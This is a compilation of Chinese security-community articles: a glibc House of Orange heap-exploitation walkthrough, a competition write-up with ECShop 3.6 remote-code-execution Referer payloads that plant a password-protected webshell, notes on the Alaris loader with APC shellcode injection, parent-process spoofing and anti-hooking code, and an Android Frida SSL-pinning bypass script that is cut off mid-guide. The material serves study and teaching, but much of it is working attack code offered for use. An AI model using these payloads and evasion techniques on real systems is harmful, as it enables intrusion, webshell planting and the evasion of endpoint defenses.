PwnLife> x/20gx 0x7ffff7dd24f0
0x7ffff7dd24f0: 0x0000000000000000 0x0000000000000000
0x7ffff7dd2500 <_IO_list_all>: 0x00007ffff7dd2520 0x0000000000000000
0x7ffff7dd2510: 0x0000000000000000 0x0000000000000000
0x7ffff7dd2520 <_IO_2_1_stderr_>: 0x00000000fbad2887 0x00007ffff7dd25a3
0x7ffff7dd2530 <_IO_2_1_stderr_+16>: 0x00007ffff7dd25a3 0x00007ffff7dd25a3
0x7ffff7dd2540 <_IO_2_1_stderr_+32>: 0x00007ffff7dd25a3 0x00007ffff7dd25a3
0x7ffff7dd2550 <_IO_2_1_stderr_+48>: 0x00007ffff7dd25a3 0x00007ffff7dd25a3
0x7ffff7dd2560 <_IO_2_1_stderr_+64>: 0x00007ffff7dd25a4 0x0000000000000000
0x7ffff7dd2570 <_IO_2_1_stderr_+80>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd2580 <_IO_2_1_stderr_+96>: 0x0000000000000000 0x00007ffff7dd2600
这里，会顺便涉及到 glibc 的异常处理.
一般在出现内存错误时，会调用函数 malloc_printerr() 打印出错信息
static void
malloc_printerr (int action, const char *str, void *ptr, mstate ar_ptr)
{
[...]
if ((action & 5) == 5)
__libc_message (action & 2, "%s\n", str);
else if (action & 1)
{
char buf[2 * sizeof (uintptr_t) + 1];
buf[sizeof (buf) - 1] = '\0';
char *cp = _itoa_word ((uintptr_t) ptr, &buf[sizeof (buf) - 1], 16, 0);
while (cp > buf)
*--cp = '0';
__libc_message (action & 2, "*** Error in `%s': %s: 0x%s ***\n",
__libc_argv[0] ? : "<unknown>", str, cp);
}
else if (action & 2)
abort ();
}
当调用 __libc_message：
// sysdeps/posix/libc_fatal.c
/* Abort with an error message. */
void
__libc_message (int do_abort, const char *fmt, ...)
{
[...]
if (do_abort)
{
BEFORE_ABORT (do_abort, written, fd);
/* Kill the application. */
abort ();
}
}
do_abort 调用 fflush，即 _IO_flush_all_lockp：
// stdlib/abort.c
#define fflush(s) _IO_flush_all_lockp (0)
if (stage == 1)
{
++stage;
fflush (NULL);
}
// libio/genops.c
int
_IO_flush_all_lockp (int do_lock)
{
int result = 0;
struct _IO_FILE *fp;
int last_stamp;
#ifdef _IO_MTSAFE_IO
__libc_cleanup_region_start (do_lock, flush_cleanup, NULL);
if (do_lock)
_IO_lock_lock (list_all_lock);
#endif
last_stamp = _IO_list_all_stamp;
fp = (_IO_FILE *) _IO_list_all; // 将其覆盖
while (fp != NULL)
{
run_fp = fp;
if (do_lock)
_IO_flockfile (fp);
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
#endif
)
&& _IO_OVERFLOW (fp, EOF) == EOF) // 将其修改为 system 函数
result = EOF;
if (do_lock)
_IO_funlockfile (fp);
run_fp = NULL;
if (last_stamp != _IO_list_all_stamp)
{
/* Something was added to the list. Start all over again. */
fp = (_IO_FILE *) _IO_list_all;
last_stamp = _IO_list_all_stamp;
}
else
fp = fp->_chain; // 指向我们指定的区域
}
#ifdef _IO_MTSAFE_IO
if (do_lock)
_IO_lock_unlock (list_all_lock);
__libc_cleanup_region_end (0);
#endif
return result;
}
_IO_list_all 是一个 _IO_FILE_plus 类型的对象，我们的目的就是将 _IO_list_all 指针改写为一个伪造的指针，它的
_IO_OVERFLOW 指向 system，并且前 8 字节被设置为 '/bin/sh'，所以对 _IO_OVERFLOW(fp, EOF)
的调用最终会变成对 system('/bin/sh') 的调用。
// libio/libioP.h
/* We always allocate an extra word following an _IO_FILE.
This contains a pointer to the function jump table used.
This is for compatibility with C++ streambuf; the word can
be used to smash to a pointer to a virtual function table. */
struct _IO_FILE_plus
{
_IO_FILE file;
const struct _IO_jump_t *vtable;
};
// libio/libio.h
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags
/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */
#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
/* char* _save_gptr; char* _save_egptr; */
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
其中有一个指向函数跳转表的指针，_IO_jump_t 的结构如下：
// libio/libioP.h
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
get_column;
set_column;
#endif
};
伪造 _IO_jump_t 中的 __overflow 为 system 函数的地址，从而达到执行 shell 的目的。
当发生内存错误进入 _IO_flush_all_lockp 后，_IO_list_all 仍然指向 unsorted
bin，这并不是一个我们能控制的地址。所以需要通过 fp->_chain 来将 fp 指向我们能控制的地方。所以将 size 字段设置为 0x61，因为此时
_IO_list_all 是 &unsorted_bin-0x10，偏移 0x60 位置上是 smallbins[5]。此时，如果触发一个不适合的
small chunk 分配，malloc 就会将 old top 从 unsorted bin 放回 smallbins[5] 中。而在 _IO_FILE
结构中，偏移 0x60 指向 struct _IO_marker __markers，偏移 0x68 指向 struct _IO_FILE_
_chain，这两个值正好是 old top 的起始地址。这样 fp 就指向了 old top，这是一个我们能够控制的地址。
在将 _IO_OVERFLOW 修改为 system 的时候，有一些条件检查：
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
#endif
)
&& _IO_OVERFLOW (fp, EOF) == EOF) // 需要修改为 system 函数
// libio/libio.h
struct _IO_wide_data *_wide_data;
/* Extra data for wide character streams. */
struct _IO_wide_data
{
wchar_t *_IO_read_ptr; /* Current read pointer */
wchar_t *_IO_read_end; /* End of get area. */
wchar_t *_IO_read_base; /* Start of putback+get area. */
wchar_t *_IO_write_base; /* Start of put area. */
wchar_t *_IO_write_ptr; /* Current put pointer. */
wchar_t *_IO_write_end; /* End of put area. */
wchar_t *_IO_buf_base; /* Start of reserve area. */
wchar_t *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
wchar_t *_IO_save_base; /* Pointer to start of non-current get area. */
wchar_t *_IO_backup_base; /* Pointer to first valid character of
backup area */
wchar_t *_IO_save_end; /* Pointer to end of non-current get area. */
__mbstate_t _IO_state;
__mbstate_t _IO_last_state;
struct _IO_codecvt _codecvt;
wchar_t _shortbuf[1];
const struct _IO_jump_t *_wide_vtable;
};
所以这里我们设置 fp->_mode = 0，fp->_IO_write_base = (char _) 2 和 fp- >_IO_write_ptr =
(char _) 3，从而绕过检查。
fp->_mode = 0; // top+0xc0
fp->_IO_write_base = (char *) 2; // top+0x20
fp->_IO_write_ptr = (char *) 3; // top+0x28
然后，就是修改 _IO_jump_t，将其指向 winner：
248 size_t *jump_table = &top[12]; // controlled memory
249 jump_table[3] = (size_t) &winner;
250 *(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table; // top+0xd8
PwnLife> x/30gx p1-0x10+0x400
0x602400: 0x0068732f6e69622f 0x0000000000000061
0x602410: 0x00007ffff7dd1b58 0x00007ffff7dd24f0
0x602420: 0x0000000000000002 0x0000000000000003
0x602430: 0x0000000000000000 0x0000000000000000
0x602440: 0x0000000000000000 0x0000000000000000
0x602450: 0x0000000000000000 0x0000000000000000
0x602460: 0x0000000000000000 0x0000000000000000
0x602470: 0x0000000000000000 0x0000000000400777
0x602480: 0x0000000000000000 0x0000000000000000
0x602490: 0x0000000000000000 0x0000000000000000
0x6024a0: 0x0000000000000000 0x0000000000000000
0x6024b0: 0x0000000000000000 0x0000000000000000
0x6024c0: 0x0000000000000000 0x0000000000000000
0x6024d0: 0x0000000000000000 0x0000000000602460
0x6024e0: 0x0000000000000000 0x0000000000000000
PwnLife> p *((struct _IO_FILE_plus *) 0x602400)
$20 = {
file = {
_flags = 1852400175,
_IO_read_ptr = 0x61 <error: Cannot access memory at address 0x61>,
_IO_read_end = 0x7ffff7dd1b58 <main_arena+88> "\020@b",
_IO_read_base = 0x7ffff7dd24f0 "",
_IO_write_base = 0x2 <error: Cannot access memory at address 0x2>,
_IO_write_ptr = 0x3 <error: Cannot access memory at address 0x3>,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x0,
_fileno = 0,
_flags2 = 0,
_old_offset = 4196215,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x0,
_offset = 0,
_codecvt = 0x0,
_wide_data = 0x0,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = 0,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x602460
}
最后随意分配一个 chunk，由于 size<= 2*SIZE_SZ，所以会触发 _IO_flush_all_lockp 中的 _IO_OVERFLOW
函数，获得 shell。
for (;; )
{
int iters = 0;
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
{
bck = victim->bk;
if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect (victim->size > av->system_mem, 0))
malloc_printerr (check_action, "malloc(): memory corruption",
chunk2mem (victim), av);
size = chunksize (victim)
### 总结
关于how2heap 中 glibc 2.25的内容就到这里结束了。
关于 glibc 2.26 更多到是一些新版本 glibc 的check的bypass...就不准备再写成文章发出来了。 | 社区文章 |
# 2020年国家网络安全宣传周福建省网络空间安全技能竞赛AWD Writeup
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 漏洞利用
1、 访问目标系统，是个ECShop商城网站。
****
2、 浏览界面发现， ecshop 版本为 3.6，ecshop3.6 存在命令执行漏洞
3、 进行漏洞利用，启动 burpsuite。
4、 注册账户,访问 user.php 并传参数 act=login 同时抓包
5、 添加 Referer 头信息并传入 poc
显示 Phpinfo 信息如下
Referer: 45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:”num”;s:107:”*/SELECT
1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e66
6f0928293b2f2f7d787878,10– -“;s:2:”id”;s:11:”-1′
UNION/*”;}45 **ea207d7a2b68c49582d2d22adf953a**
Wehshell 如下（会在网站根目录下生成一个 1.php,密码：1337）:
Referer: 45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:”num”;s:289:”*/SELECT
1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b617373657274
286261736536345f6465636f646528275a6d6c735a563977645852665932397564475
67564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676b58
314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10
— -“;s:2:”id”;s:11:”-1′ UNION/*”;}
6、 执行如下 poc 可直接上传一个 webshell
7、 使用蚁剑进行 webshell 连接
**竞赛详情了解** **：** _<http://www.si.net.cn/>_
## 漏洞防护
1、对漏洞进行修复,进入网站服务器内，修改/includes/lib_insert.php
2、使用 hmwebshell 工具扫描木马，进行删除
## 活动简介
网络空间的竞争，归根到底是人才的竞争。9月12日至13日，由省委网信办、省教育厅、省公安厅联合主办的2020年国家网络安全宣传周福建省网络空间安全技能竞赛高校学生组暨“黑盾杯”赛项成功举办。
竞赛详情了解：[ _http://www.si.net.cn/_](http://www.si.net.cn/) | 社区文章 |
看到一个GitHub项目：<https://github.com/cribdragg3r/Alaris>
最近更新时间是30天前，vt上查杀是0，所以看看有什么免杀的黑科技，本文是一篇记录笔记，该GitHub上提供了一些参考资料，我看了这些参考资料后，也一并整理了出来（国外作者的资料非常朴实，会告诉渔从何来，为什么要这样做）。
## 杀毒厂商如何如何阻止恶意程序活动的
Windows自Vista以来就具有一种内置的安全功能，称为PatchGuard（PG），可保护内核的关键区域免遭修改。这些领域包括：
* 系统服务描述符表（SSDT）
* 全局描述符表（GDT）
* 中断描述符表（IDT）
* 系统映像（`ntoskrnl.exe`，`ndis.sys`，`hal.dll`）
* 处理器MSR（系统调用）
PG（令安全厂商和恶意软件开发人员大失所望）限制了对Windows内核进行扩展的任何软件（甚至出于正当理由）。在推出之前，安全厂商打补丁SSDT是司空见惯的事情。
微软的立场是， 修补内核的 _任何_
软件（无论是否为恶意软件）都不可靠，以及最重要的是安全问题。PG发布后，安全厂商必须完全重新设计其反恶意软件的解决方案。可以选择规避PG，但这不是长期的解决方案。
### 内核模式通知
作为在Windows内核中打补丁或hook的替代方法，Windows内核提供一些有关对检测恶意软件有用的时间通知，常见的包括事件的创建，进程或线程的终止，dll/exe的映射执行。
Microsoft建议安全供应商使用 [微型筛选器](https://docs.microsoft.com/en-us/windows-hardware/drivers/ifs/filter-manager-concepts) 驱动程序来拦截，检查和有选择地阻止I /
O事件。通过[NtDeviceIoControlFile](https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntdeviceiocontrolfile)
系统调用可实现大量的文件系统和网络功能 。
由于Microsoft没有为内核组件提供接收内存操作通知的合法方法，因此这迫使供应商需要在每个进程中安装hook。基于此，可以有各种方法绕过它们。
如果对绕过的技术感兴趣，可以查看如下的参考资料
* <https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/>
## 防止第三方DLL注入
阻止所有非Microsoft Dll注入我们的进程，hook我们的程序。
// Disallow non-microsoft signed DLL's from hooking/injecting into our CreateProcess():
InitializeProcThreadAttributeList(si.lpAttributeList, 2, 0, &size);
DWORD64 policy = PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON;
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, &policy, sizeof(policy), NULL, NULL);
// Disallow non-MSFT signed DLL's from injecting
PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY sp = {};
sp.MicrosoftSignedOnly = 1;
SetProcessMitigationPolicy(ProcessSignaturePolicy, &sp, sizeof(sp));
## Syscall
直接使用`syscall`调用系统函数，可以绕过大多数监控软件的hook。
参考的是 <https://github.com/jthuraisamy/SysWhispers2> 项目，但是这个项目仅对x64位系统提供了支持。
这个项目通过获取PEB，得到ntdll空间地址，再解析ntdll的导出表，获得每个函数名称和函数加载地址，根据函数加载地址进行冒泡排序，它的位置即是syscall的编号了。
参考文章
* <https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/>
## 进程注入手段
在作者的文章中
* <https://sevrosecurity.com/2020/04/08/process-injection-part-1-createremotethread/>
使用`CreateRemoteThread`执行shellcode，即使使用了`syscall`手段，最后依然被`Sysmon`程序发现了。
> Sysmon hooking是在系统内核（SYSTEM）中运行的，因此，除非禁用它（需要成为管理员），否则我们无法对其真正隐藏。
**Sysmon：**
可用来监控和记录系统活动，并记录到windows事件日志，包含如下事件：
* Event ID 1: Process creation
* Event ID 2: A process changed a file creation time
* Event ID 3: Network connection
* Event ID 4: Sysmon service state changed
* Event ID 5: Process terminated
* Event ID 6: Driver loaded
* Event ID 7: Image loaded
* Event ID 8: CreateRemoteThread
* Event ID 9: RawAccessRead
* Event ID 10: ProcessAccess
* Event ID 11: FileCreate
* Event ID 12: RegistryEvent (Object create and delete)
* Event ID 13: RegistryEvent (Value Set)
* Event ID 14: RegistryEvent (Key and Value Rename)
* Event ID 15: FileCreateStreamHash
* Event ID 255: Error
详情见<https://technet.microsoft.com/en-us/sysinternals/sysmon>
**注：**
CreateRemoteThread为Event ID 8
此时我们可以使用`QueueUserAPC`进行注入。
Sysmon无法通过`QueueUserAPC`检测到进程注入。根据我的有限理解，这是因为我们没有在受害者进程中创建新线程。我们枚举进程已实例化的线程，打开线程，将其挂起，对其进行过程调用（我们的shellcode），然后恢复该线程。我们只是访问一个进程，并告诉它执行一些侵入性较小的过程。
### APC注入在实战中的场景
APC注入进程`explorer.exe`代码
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);
PROCESSENTRY32 processEntry = { sizeof(PROCESSENTRY32) };
if (Process32First(snapshot, &processEntry))
{
while (_wcsicmp(processEntry.szExeFile, L"explorer.exe") != 0)
{
Process32Next(snapshot, &processEntry);
}
}
HANDLE victimProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, processEntry.th32ProcessID);
LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
//3.Execute shellcode
PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
WriteProcessMemory(victimProcess, shellAddress, shellcode, shellcodeSize, NULL);
THREADENTRY32 threadEntry = { sizeof(THREADENTRY32) };
std::vector<DWORD> threadIds;
if (Thread32First(snapshot, &threadEntry))
{
do {
if (threadEntry.th32OwnerProcessID == processEntry.th32ProcessID)
{
threadIds.push_back(threadEntry.th32ThreadID);
}
} while (Thread32Next(snapshot, &threadEntry));
}
for (DWORD threadId : threadIds)
{
HANDLE threadHandle = OpenThread(THREAD_ALL_ACCESS, TRUE, threadId);
QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);
Sleep(1000 * 2);
}
return 0;
可以看到，我们对explorer所有线程进行了注入，假设线程有20-50个，那么我们的shellcode会执行20-50次（虽然shellcode可以用条件来限制只执行一次）。
我们是否可以将线程限制一个数量？例如5个。
测试
可以看到，我们注入了5个线程，但是只执行了3个线程，根据以往经验，有60％-70％的注入线程成功执行，根据限制数量不同也有不同。同时还可能有程序崩溃的现象。这也是使用这个技术的一些弊端。
## shellcode加密
朴实无华的使用对称加密算法 AES- CBC
256加密的shellcode，密钥和iv都存在于代码中。主要是防止`xFC\xE8`、`\xFC\x48`等的特征被检测到。
在使用stage payload或者更小的payload时候，AES加密算法足够绕过大多数的EDR系统。
## 父进程欺骗
Alaris会创建一个子进程，通过进程替换技术执行shellcode，但是此时进程的执行路径是`loader.exe ->
mobsync.exe`，通过ppid欺骗，将它变得看起来是自然产生，即`explorer.exe -> mobsync.exe`
// This is just directly stolen from ired.team
DWORD get_PPID() {
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 process = { 0 };
process.dwSize = sizeof(process);
if (Process32First(snapshot, &process)) {
do {
if (!wcscmp(process.szExeFile, L"explorer.exe"))
break;
} while (Process32Next(snapshot, &process));
}
CloseHandle(snapshot);
return process.th32ProcessID;
}
// Mask the PPID to that of explorer.exe
HANDLE explorer_handle = OpenProcess(PROCESS_ALL_ACCESS, false, get_PPID());
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &explorer_handle, sizeof(HANDLE), NULL, NULL);
## 执行后覆盖自身shellcode
在执行shellcode的10s后，会用空字节覆盖自身。
// Overwrite shellcode with null bytes
Sleep(10000);
uint8_t overwrite[500];
NtWriteVirtualMemory(hProcess, mem, overwrite, sizeof(overwrite), 0);
这个时间选择因程序而异,可以自由修改。
## 隐藏启动窗口
这是它readme中没有提到的一个小点，但确非常有效
ShowWindow(GetConsoleWindow(), SW_HIDE);
很多杀毒对DOS程序会比较放松，对窗口程序比较敏感，通过这个也可以隐藏DOS程序。
## 查杀规则
官方的github提供了一个查杀的yara规则
import "pe"
rule alaris
{
meta:
description = "Find all stock Melange Loaders"
author = "Joshua Faust"
date = "2020/10/14"
strings:
$ = "[!] ERROR" fullword ascii wide
$ = "C:\\Windows\\System32\\mobsync.exe" fullword wide
$ = "gexplorer.exe" fullword wide
$ = { 70 76 20 f2 3f 4c 4c 10 45 fb 50 93 d8 d1 c9 fb 6c 30 45 88 dd b2 f4 af 9c 1c 22 13 26 67 24 bd }
$ = { 89 54 7f 64 c0 ce 3a 44 f0 ee af ?? a8 dc 6b 65 }
condition:
pe.is_pe and 3 of them
}
这个规则似乎告诉我们，我们用的时候要把字符串也加密一下。下面那些字节码的规则，我还没有生成一个木马，暂时看不了是什么规则了。
## 参考
* <https://sevrosecurity.com/2020/10/14/alaris-a-protective-loader/>
* <https://github.com/jthuraisamy/SysWhispers2>
* <https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/> | 社区文章 |
## Android应用程序：绕过SSL pinning
原文链接：<https://medium.com/@ved_wayal/hail-frida-the-universal-ssl-pinning-bypass-for-android-e9e1d733d29>
大家好，在这篇文章中，我将解释如何使用frida框架绕过任何Android应用程序的SSL pinning，我会尝试更详细地解释其中的细节。
**本文将介绍：**
1. 介绍Frida和SSL pinning
2. 要求
3. 设置和安装
4. Frida服务器设置
5. 设置BurpSuite
6. 配置代理的CA证书
7. 脚本注入绕过SSL pinning
8. 总结
9. 故障排除
### 1\. 介绍Frida和SSL pinning
Frida框架是SSL pinning绕过的最后一站。
根据frida 网站的描述：
>
> 对于应用程序来说，这是Greasemonkey，或者，在更多技术术语中，它是一个动态代码检测工具包。它允许你将JavaScript或你自己的库中的代码注入Windows，macOS，GNU/Linux，iOS，Android和QNX上的应用程序。Frida还为你提供了一些基于Frida
> API构建的简单工具。这些可以按原样使用，根据你的需要进行调整，或作为如何使用API的示例。
如今，大多数应用程序在其移动应用程序中实现SSL
pinning技术。这是为什么？因为我们想要在我们的设备和服务器之间安全地交换一些数据，虽然，SSL传输层加密将使数据传输安全可靠？但是，有一个问题，在数据传输之前，如果服务器的SSL证书与请求的主机名和受信任的根证书匹配，则客户端会检查该证书。
它不能确保提供的证书是服务器为请求的主机名提供的实际证书。因此，依赖设备的可信存储证书不会使数据传输“安全”。
>
> 证书锁定是应用程序本身内远程服务器信任的硬编码证书，因此它将忽略设备证书存储，并将信任他自己的硬编码证书，进一步的应用程序将用于“安全地”与远程服务器通信。
当我们甚至开始对大多数移动应用程序的HTTP请求进行动态分析时，绕过SSL
pinning是需要完成的主要步骤，因为我们更关注数据隐私以及通过网络从中间人（MiTM）攻击等线程安全传输数据。
Frida是一个框架，它为本机应用程序注入脚本，以便在运行时操作应用程序的逻辑，这对于测试移动应用程序来说是更具动态性的。
### 2\. 要求
这种设置第一次需要一些时间，因为需求的信息很多。一旦我们完成所有设置，从下次开始它将是一件很简单的事情。如果你安装过程中出现问题，博客末尾会出现“ 疑难解答
”部分。
#### I. Rooted device/emulator:
我们需要一个有rooted device或者是rooted
emulator,因为我们需要将脚本注入设备的根目录。由于Genymotion易于设置和使用，所以，现在很多人都使用Genymotion，可以从下面下载。
<https://www.genymotion.com/fun-zone/>
一旦我们完成安装genymotion，我们需要安装一个Android设备。Android 7+版本将不错。我将使用具有以下配置的“ Google pixel
XL”设备。
#### II. Python frida包安装
从这里安装[Python for Windows](https://www.python.org/downloads/windows/)。
我们需要为frida服务器安装一些python包。为此在终端中输入以下命令:
python -m pip install Frida
python -m pip install objection
python -m pip install frida-tools
or
pip install Frida
pip install objection
pip install frida-tools
#### III.平台工具（adb）
从以下链接[下载用于Windows的平台工具](https://dl.google.com/android/repository/platform-tools-latest-windows.zip)：
#### IV.下载注入脚本：
我们需要从下面[下载注入脚本](https://codeshare.frida.re/@pcipolloni/universal-android-ssl-pinning-bypass-with-frida/ "下载注入脚本")，我们将把这个脚本注入目标应用程序的设备
或者你可以将此代码保存为与adb相同的文件夹中的fridascript.js。
/*
Android SSL Re-pinning frida script v0.2 030417-pier
$ adb push burpca-cert-der.crt /data/local/tmp/cert-der.crt
$ frida -U -f it.app.mobile -l frida-android-repinning.js --no-pause
https://techblog.mediaservice.net/2017/07/universal-android-ssl-pinning-bypass-with-frida/
UPDATE 20191605: Fixed undeclared var. Thanks to @oleavr and @ehsanpc9999 !
*/
setTimeout(function(){
Java.perform(function (){
console.log("");
console.log("[.] Cert Pinning Bypass/Re-Pinning");
var CertificateFactory = Java.use("java.security.cert.CertificateFactory");
var FileInputStream = Java.use("java.io.FileInputStream");
var BufferedInputStream = Java.use("java.io.BufferedInputStream");
var X509Certificate = Java.use("java.security.cert.X509Certificate");
var KeyStore = Java.use("java.security.KeyStore");
var TrustManagerFactory = Java.use("javax.net.ssl.TrustManagerFactory");
var SSLContext = Java.use("javax.net.ssl.SSLContext");
// Load CAs from an InputStream
console.log("[+] Loading our CA...")
var cf = CertificateFactory.getInstance("X.509");
try {
var fileInputStream = FileInputStream.$new("/data/local/tmp/cert-der.crt");
}
catch(err) {
console.log("[o] " + err);
}
var bufferedInputStream = BufferedInputStream.$new(fileInputStream);
var ca = cf.generateCertificate(bufferedInputStream);
bufferedInputStream.close();
var certInfo = Java.cast(ca, X509Certificate);
console.log("[o] Our CA Info: " + certInfo.getSubjectDN());
// Create a KeyStore containing our trusted CAs
console.log("[+] Creating a KeyStore for our CA...");
var keyStoreType = KeyStore.getDefaultType();
var keyStore = KeyStore.getInstance(keyStoreType);
keyStore.load(null, null);
keyStore.setCertificateEntry("ca", ca);
// Create a TrustManager that trusts the CAs in our KeyStore
console.log("[+] Creating a TrustManager that trusts the CA in our KeyStore...");
var tmfAlgorithm = TrustManagerFactory.getDefaultAlgorithm();
var tmf = TrustManagerFactory.getInstance(tmfAlgorithm);
tmf.init(keyStore);
console.log("[+] Our TrustManager is ready...");
console.log("[+] Hijacking SSLContext methods now...")
console.log("[-] Waiting for the app to invoke SSLContext.init()...")
SSLContext.init.overload("[Ljavax.net.ssl.KeyManager;", "[Ljavax.net.ssl.TrustManager;", "java.security.SecureRandom").implementation = function(a,b,c) {
console.log("[o] App invoked javax.net.ssl.SSLContext.init...");
SSLContext.init.overload("[Ljavax.net.ssl.KeyManager;", "[Ljavax.net.ssl.TrustManager;", "java.security.SecureRandom").call(this, a, tmf.getTrustManagers(), c);
console.log("[+] SSLContext initialized with our custom TrustManager!");
}
});
},0);
### 3\. 设置和安装
#### I.将设备连接到adb：
我们需要将设备连接到adb上，可以在设备上运行命令。但首先转到设置--->开发人员选项并在设备中启用调试模式，以便adb可以与设备通信。
转到已提取平台工具的文件夹，然后运行以下命令将设备连接到adb
//adb connect <ip of device:port>
adb connect 192.168.1.190:5555
如果设备中出现弹出窗口，请单击“允许”。
要检查设备是否已连接到adb：`adb devices`
你可以看到设备的IP以及设备名称
#### II.下载frida服务器以获得支持的android设备的arch版本：
我们需要根据我们设备的arch版本为我们的Android设备[下载frida服务器软件包](https://github.com/frida/frida/releases/)。
要查找设备的arch版本，请运行以下命令：`adb shell getprop ro.product.cpu.abi`
如果设备配置与上面提到的相同，请缩短下载时间：
frida-server-12.4.7-android-x86.xz
frida-server-12.4.7-android-x86_64.xz
#### IV. 在设备中安装目标应用程序
安装必须在我们的设备中绕过SSL pinning的应用程序。打开应用程序并使其在后台运行。
### 4\. Frida服务器设置：
我们需要在注入脚本之前将frida服务器运行到设备中。请按照以下步骤操作：
#### I.将frida-server推入设备：
现在我们需要将我们的frida-server文件推送到设备中。复制adb文件夹中的`“frida-server-12.4.7-android-x86.xz”`文件并运行以下命令
//adb push <path_of_frida_server_folder><space></data/local/tmp>
adb push C:\ADB\frida-server /data/local/tmp
#### II. 授予frida-server权限：
adb shell chmod 777 /data/local/tmp/frida-server
### 5.设置BurpSuite：
按照这个很棒的指南在Android设备的[burp中设置代理：](https://support.portswigger.net/customer/portal/articles/1841101-configuring-an-android-device-to-work-with-burp)
### 6.配置代理的CA证书：
为了能够拦截流量，frida需要访问我们的Burpsuite CA证书。我们将在BurpSuite Setup中配置与步骤5相同证书。
将证书推送到设备并进入与frida-server相同的位置，将其命名为cert-der.crt（因为此名称和路径已在fridascript.js中提及以避免任何问题）
// adb push <path to cacert.der> /data/local/tmp/cert-der.crt
adb push cacert.der /data/local/tmp/cert-der.crt
### 7.脚本注入绕过SSL pinning
